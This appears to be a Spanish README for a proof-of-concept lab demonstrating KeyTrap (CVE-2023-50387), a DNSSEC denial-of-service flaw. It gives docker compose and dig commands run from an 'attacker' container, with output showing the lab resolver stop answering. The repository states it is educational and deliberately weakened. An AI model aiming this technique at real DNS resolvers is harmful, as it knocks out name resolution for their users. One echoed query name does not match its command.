knqyf263/cve-2023-50387KeyTrap (DNSSEC)
KeyTrap en DNS (CVE-2023-50387)
Este repositorio tiene fines educativos. El número de claves y firmas se ha mantenido intencionadamente bajo para evitar su uso en ataques reales, y no se incluye un script para generar claves en colisión.
$ docker compose up --build
$ docker compose exec -it attacker dig @10.10.0.3 a.a.test
; <<>> DiG 9.18.24 <<>> @10.10.0.3 a.a.test
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 44249
;; flags: qr rd ra ad; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 1232
;; QUESTION SECTION:
;a.a.test. IN A
;; ANSWER SECTION:
a.a.test. 86400 IN A 10.10.0.4
;; Query time: 30 msec
;; SERVER: 10.10.0.3#53(10.10.0.3) (UDP)
;; WHEN: Sun Feb 18 22:01:01 UTC 2024
;; MSG SIZE rcvd: 53
$ docker compose exec -it attacker dig @10.10.0.3 www.a.test
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
; <<>> DiG 9.18.24 <<>> @10.10.0.3 www.a.test
; (1 server found)
;; global options: +cmd
;; no servers could be reached
$ docker compose exec -it attacker dig @10.10.0.3 b.a.test
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
;; communications error to 10.10.0.3#53: timed out
; <<>> DiG 9.18.24 <<>> @10.10.0.3 a.a.test
; (1 server found)
;; global options: +cmd
;; no servers could be reached